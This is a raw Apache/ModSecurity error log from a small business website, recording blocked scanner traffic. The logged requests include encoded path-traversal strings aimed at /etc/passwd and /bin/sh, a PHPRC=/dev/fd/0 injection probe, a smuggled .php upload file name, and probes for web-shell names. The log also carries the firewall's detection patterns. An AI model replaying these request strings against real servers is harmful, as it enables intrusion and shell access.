[Sun Nov 23 16:45:59.561699 2025] [:error] [pid 44652:tid 44708] [client 140.99.1.70:57707] [client 140.99.1.70] ModSecurity: collection_store: Failed to access DBM file "/tmp/ip": Resource deadlock avoided [hostname "www.windfarmcoolants.com.au"] [uri "/index.html"] [unique_id "aSLJx9iQFwsyXQDhwyC77gAAAQI"]
[Sun Nov 23 16:46:15.446689 2025] [:error] [pid 44652:tid 44708] [client 140.99.1.70:57707] [client 140.99.1.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-includes/"] [unique_id "aSLJ19iQFwsyXQDhwyC9WQAAAQI"]
[Sun Nov 23 16:46:23.473045 2025] [:error] [pid 38740:tid 38820] [client 140.99.1.50:39505] [client 140.99.1.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/upload/"] [unique_id "aSLJ3w13QPZSi6O8umWpkgAAAJg"]
[Sun Nov 23 16:46:30.433571 2025] [:error] [pid 38739:tid 38781] [client 140.99.1.42:48995] [client 140.99.1.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd-1/"] [unique_id "aSLJ5gdvEgJm2n2cDmo5zgAAAEw"]
[Sun Nov 23 20:54:05.637680 2025] [:error] [pid 44652:tid 44729] [client 144.48.39.86:40880] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?PHPRC=/dev/fd/0"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSMD7diQFwsyXQDhwyAYMgAAARc"]
[Sun Nov 23 20:54:06.513682 2025] [:error] [pid 38739:tid 38769] [client 144.48.39.86:40888] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /loadfile.lp?pageid=Configure"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/loadfile.lp"] [unique_id "aSMD7gdvEgJm2n2cDmp25QAAAEA"]
[Sun Nov 23 21:23:29.557019 2025] [core:error] [pid 16066:tid 16088] [client 144.48.39.84:46436] AH10244: invalid URI path (/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd)
[Sun Nov 23 21:23:44.219919 2025] [core:error] [pid 38739:tid 38789] [client 144.48.39.86:53312] AH10244: invalid URI path (/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd)
[Sun Nov 23 21:23:55.182026 2025] [:error] [pid 17534:tid 17545] [client 144.48.39.86:56950] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header||windfarmcoolants.com.au|F|2"] [data "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"] [unique_id "aSMK63PX9nXBrhgM8syX1gAAAck"]
[Sun Nov 23 21:24:55.554856 2025] [:error] [pid 38739:tid 38776] [client 144.48.39.86:45906] [client 144.48.39.86] ModSecurity: Multipart parsing error: Multipart: Invalid Content-Disposition header (-12): form-data; name="pigphoto"; filename="Fyac1".php". [hostname "windfarmcoolants.com.au"] [uri "/pig/add-pig.php"] [unique_id "aSMLJwdvEgJm2n2cDmp7NAAAAEc"]
[Sun Nov 23 21:24:55.555445 2025] [:error] [pid 38739:tid 38776] [client 144.48.39.86:45906] [client 144.48.39.86] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "Multipart parsing error: Multipart: Invalid Content-Disposition header (-12): form-data; name=\\x22pigphoto\\x22; filename=\\x22Fyac1\\x22.php\\x22."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/pig/add-pig.php"] [unique_id "aSMLJwdvEgJm2n2cDmp7NAAAAEc"]
[Sun Nov 23 21:24:55.555505 2025] [:error] [pid 38739:tid 38776] [client 144.48.39.86:45906] [client 144.48.39.86] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 1, IH 0, FLE 0||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/pig/add-pig.php"] [unique_id "aSMLJwdvEgJm2n2cDmp7NAAAAEc"]
[Sun Nov 23 23:27:23.106971 2025] [:error] [pid 38739:tid 38792] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://duckduckgo.com/
[Sun Nov 23 23:27:23.342016 2025] [:error] [pid 38739:tid 38791] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://www.bing.com/
[Sun Nov 23 23:27:23.556851 2025] [:error] [pid 38739:tid 38769] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.google.de/
[Sun Nov 23 23:27:23.772634 2025] [:error] [pid 38739:tid 38775] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.google.de/
[Sun Nov 23 23:27:24.010711 2025] [:error] [pid 38739:tid 38788] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php, referer: https://www.bing.com/
[Sun Nov 23 23:27:27.628230 2025] [:error] [pid 38739:tid 38772] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://www.google.fr/
[Sun Nov 23 23:27:28.062948 2025] [:error] [pid 38739:tid 38785] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://www.google.de/
[Sun Nov 23 23:27:28.318347 2025] [:error] [pid 38739:tid 38790] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/file4.php, referer: https://www.google.com/
[Sun Nov 23 23:27:28.532430 2025] [:error] [pid 38739:tid 38780] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://www.bing.com/
[Sun Nov 23 23:27:28.777387 2025] [:error] [pid 38739:tid 38771] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.google.com/
[Sun Nov 23 23:27:28.995333 2025] [:error] [pid 38739:tid 38777] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/ds.php, referer: https://www.google.com/
[Sun Nov 23 23:27:29.564485 2025] [:error] [pid 38739:tid 38778] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php, referer: https://www.yahoo.com/
[Sun Nov 23 23:27:29.945247 2025] [:error] [pid 38739:tid 38793] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php, referer: https://www.google.fr/
[Sun Nov 23 23:27:30.373064 2025] [:error] [pid 38739:tid 38786] [client 128.24.86.41:31718] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/
[Sun Nov 23 23:27:30.582893 2025] [:error] [pid 38739:tid 38776] [client 128.24.86.41:31718] [client 128.24.86.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSMn4gdvEgJm2n2cDmqJ8gAAAEc"], referer: https://www.google.com/
[Sun Nov 23 23:27:32.707817 2025] [:error] [pid 16066:tid 16089] [client 128.24.86.41:31682] [client 128.24.86.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "aSMn5Pq-c47Q5mW5E9HgNgAAAZQ"], referer: https://www.google.com/
[Sun Nov 23 23:27:33.717833 2025] [:error] [pid 8036:tid 8071] [client 128.24.86.41:31742] File does not exist: /usr/local/apache/htdocs/suspended-page/wso112233.php, referer: https://duckduckgo.com/
[Sun Nov 23 23:27:34.145464 2025] [:error] [pid 8036:tid 8053] [client 128.24.86.41:31742] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wso112233.php, referer: https://www.google.co.uk/
[Sun Nov 23 23:27:35.250490 2025] [:error] [pid 8036:tid 8051] [client 128.24.86.41:31742] [client 128.24.86.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aSMn59BT69EcgFwgTmqNkAAAAgQ"], referer: https://www.google.fr/
[Sun Nov 23 23:27:36.664042 2025] [:error] [pid 38738:tid 38764] [client 128.24.86.41:31683] File does not exist: /usr/local/apache/htdocs/suspended-page/shell20211028.php, referer: https://www.google.fr/
[Sun Nov 23 23:27:37.083436 2025] [:error] [pid 38738:tid 38765] [client 128.24.86.41:31683] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/shell20211028.php, referer: https://www.google.fr/
[Sun Nov 23 23:27:38.138862 2025] [:error] [pid 38738:tid 38742] [client 128.24.86.41:31683] [client 128.24.86.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aSMn6gytc6TL9XavPmNhgwAAAAA"], referer: https://www.google.co.uk/
[Sun Nov 23 23:27:40.142514 2025] [:error] [pid 38824:tid 38828] [client 128.24.86.41:31618] File does not exist: /usr/local/apache/htdocs/suspended-page/bala.php, referer: https://www.google.fr/
[Sun Nov 23 23:27:41.334581 2025] [:error] [pid 38824:tid 38844] [client 128.24.86.41:31618] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/bala.php, referer: https://www.bing.com/
[Sun Nov 23 23:27:42.526166 2025] [:error] [pid 38824:tid 38841] [client 128.24.86.41:31618] [client 128.24.86.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bala.php"] [unique_id "aSMn7k8WZjXLvbHTHPcTMwAAAM4"], referer: https://duckduckgo.com/
[Sun Nov 23 23:27:44.081681 2025] [:error] [pid 38824:tid 38830] [client 128.24.86.41:31655] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php, referer: https://www.yahoo.com/
[Sun Nov 23 23:27:44.619018 2025] [:error] [pid 38824:tid 38828] [client 128.24.86.41:31655] [client 128.24.86.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aSMn8E8WZjXLvbHTHPcTPQAAAME"], referer: https://duckduckgo.com/
[Sun Nov 23 23:27:45.709399 2025] [:error] [pid 38738:tid 38757] [client 128.24.86.41:31719] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php, referer: https://www.yahoo.com/
[Sun Nov 23 23:27:46.847078 2025] [:error] [pid 38738:tid 38763] [client 128.24.86.41:31719] [client 128.24.86.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aSMn8gytc6TL9XavPmNhlwAAABU"], referer: https://duckduckgo.com/
[Sun Nov 23 23:27:47.647808 2025] [:error] [pid 38740:tid 38814] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/wsoyanz.php, referer: https://www.bing.com/
[Sun Nov 23 23:27:47.885457 2025] [:error] [pid 38740:tid 38807] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/yanz.php, referer: https://www.google.fr/
[Sun Nov 23 23:27:48.849051 2025] [:error] [pid 38740:tid 38796] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/cache-compat.php, referer: https://www.google.com/
[Sun Nov 23 23:27:49.064015 2025] [:error] [pid 38740:tid 38804] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/ajax-actions.php, referer: https://www.bing.com/
[Sun Nov 23 23:27:49.490588 2025] [:error] [pid 38740:tid 38803] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-consar.php, referer: https://www.google.fr/
[Sun Nov 23 23:27:49.729748 2025] [:error] [pid 38740:tid 38812] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php, referer: https://www.google.com/
[Sun Nov 23 23:27:49.945252 2025] [:error] [pid 38740:tid 38816] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-post.php, referer: https://www.yahoo.com/
[Sun Nov 23 23:27:50.603843 2025] [:error] [pid 38740:tid 38806] [client 128.24.86.41:31713] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php, referer: https://www.bing.com/
[Sun Nov 23 23:27:53.054260 2025] [:error] [pid 38740:tid 38797] [client 128.24.86.41:31713] [client 128.24.86.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.24.86.41, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSMn-Q13QPZSi6O8umUIcAAAAIE"], referer: https://www.google.com/
[Mon Nov 24 00:24:51.941694 2025] [:error] [pid 1452:tid 1458] [client 176.65.132.18:35306] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSM1UxKZkEEyVNVXr_mz3AAAAEE"]
[Mon Nov 24 00:36:45.564077 2025] [:error] [pid 1454:tid 1525] [client 144.48.39.84:49016] [client 144.48.39.84] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||windfarmcoolants.com.au|F|2"] [data "TX:0=application/grpc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/arrow.flight.protocol.FlightService/DoPut"] [unique_id "aSM4Hbeh4NH3skJ5n4RkcAAAAM0"]
[Mon Nov 24 00:36:46.194102 2025] [:error] [pid 1452:tid 1466] [client 144.48.39.84:49040] File does not exist: /usr/local/apache/htdocs/suspended-page/connectioncheck.php
[Mon Nov 24 00:36:47.188945 2025] [:error] [pid 1452:tid 1475] [client 144.48.39.84:49052] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Mon Nov 24 01:13:20.665928 2025] [:error] [pid 1454:tid 1534] [client 212.30.33.168:30563] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Mon Nov 24 01:13:23.970228 2025] [:error] [pid 1454:tid 1535] [client 212.30.33.168:30563] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Mon Nov 24 01:13:24.498394 2025] [:error] [pid 1454:tid 1523] [client 212.30.33.168:30563] [client 212.30.33.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSNAtLeh4NH3skJ5n4Rx3QAAAMs"]
[Mon Nov 24 01:13:27.269016 2025] [:error] [pid 1454:tid 1522] [client 212.30.33.120:25855] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Mon Nov 24 01:13:28.611100 2025] [:error] [pid 1454:tid 1529] [client 212.30.33.120:25855] [client 212.30.33.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSNAuLeh4NH3skJ5n4Rx4gAAANE"]
[Mon Nov 24 01:13:31.669296 2025] [:error] [pid 1589:tid 1597] [client 212.30.33.123:52109] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Mon Nov 24 01:13:33.304823 2025] [:error] [pid 1589:tid 1612] [client 212.30.33.123:52109] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon Nov 24 01:13:33.823182 2025] [:error] [pid 1589:tid 1599] [client 212.30.33.123:52109] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Nov 24 01:13:34.329133 2025] [:error] [pid 1589:tid 1602] [client 212.30.33.123:52109] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Mon Nov 24 01:13:35.330304 2025] [:error] [pid 1589:tid 1598] [client 212.30.33.123:52109] [client 212.30.33.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSNAv4I2fvripjU0Eat4zgAAAUc"]
[Mon Nov 24 01:13:36.382123 2025] [:error] [pid 1589:tid 1609] [client 212.30.33.136:47643] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Mon Nov 24 01:13:36.990496 2025] [:error] [pid 1589:tid 1614] [client 212.30.33.136:47643] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Mon Nov 24 01:13:37.524239 2025] [:error] [pid 1589:tid 1594] [client 212.30.33.136:47643] [client 212.30.33.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aSNAwYI2fvripjU0Eat40gAAAUM"]
[Mon Nov 24 01:13:39.882228 2025] [:error] [pid 1452:tid 1479] [client 212.30.33.138:50021] [client 212.30.33.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aSNAwxKZkEEyVNVXr_nDWwAAAFY"]
[Mon Nov 24 01:13:40.961491 2025] [:error] [pid 1453:tid 1486] [client 212.30.33.116:33901] [client 212.30.33.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aSNAxBUBCt7LU0bO_GBLNQAAAII"]
[Mon Nov 24 01:13:43.968158 2025] [:error] [pid 1589:tid 1591] [client 212.30.33.135:42591] [client 212.30.33.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSNAx4I2fvripjU0Eat41wAAAUA"]
[Mon Nov 24 01:13:45.392546 2025] [:error] [pid 1589:tid 1613] [client 212.30.33.185:28711] [client 212.30.33.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSNAyYI2fvripjU0Eat42QAAAVY"]
[Mon Nov 24 01:13:47.614425 2025] [:error] [pid 8337:tid 8353] [client 212.30.33.132:53171] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Mon Nov 24 01:13:49.412224 2025] [:error] [pid 8337:tid 8356] [client 212.30.33.132:53171] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Mon Nov 24 01:13:50.684563 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.132:53171] [client 212.30.33.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSNAzuSmps4S2j95D5h1VAAAAAA"]
[Mon Nov 24 01:13:51.795799 2025] [:error] [pid 8337:tid 8345] [client 212.30.33.168:24845] [client 212.30.33.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSNAz-Smps4S2j95D5h1VwAAAAY"]
[Mon Nov 24 01:13:53.501953 2025] [:error] [pid 1454:tid 1524] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Mon Nov 24 01:13:53.980964 2025] [:error] [pid 1454:tid 1519] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-2019.php
[Mon Nov 24 01:13:55.233007 2025] [:error] [pid 1454:tid 1522] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Mon Nov 24 01:13:55.758442 2025] [:error] [pid 1454:tid 1526] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php
[Mon Nov 24 01:13:56.541157 2025] [:error] [pid 1454:tid 1520] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php
[Mon Nov 24 01:13:57.164220 2025] [:error] [pid 1454:tid 1517] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/mail.php
[Mon Nov 24 01:13:57.647117 2025] [:error] [pid 1454:tid 1515] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/lufix.php
[Mon Nov 24 01:13:59.702762 2025] [:error] [pid 1454:tid 1512] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Mon Nov 24 01:14:01.059265 2025] [:error] [pid 1454:tid 1512] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/bak.php
[Mon Nov 24 01:14:02.365931 2025] [:error] [pid 1454:tid 1531] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Mon Nov 24 01:14:02.935675 2025] [:error] [pid 1454:tid 1514] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/upfile.php
[Mon Nov 24 01:14:03.519805 2025] [:error] [pid 1454:tid 1529] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Mon Nov 24 01:14:04.510809 2025] [:error] [pid 1454:tid 1534] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Mon Nov 24 01:14:06.046429 2025] [:error] [pid 1454:tid 1532] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-activate.php
[Mon Nov 24 01:14:06.633188 2025] [:error] [pid 1454:tid 1536] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/updates.php
[Mon Nov 24 01:14:07.257619 2025] [:error] [pid 1454:tid 1536] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Mon Nov 24 01:14:08.362633 2025] [:error] [pid 1454:tid 1521] [client 212.30.33.117:30117] File does not exist: /usr/local/apache/htdocs/suspended-page/plugins.php
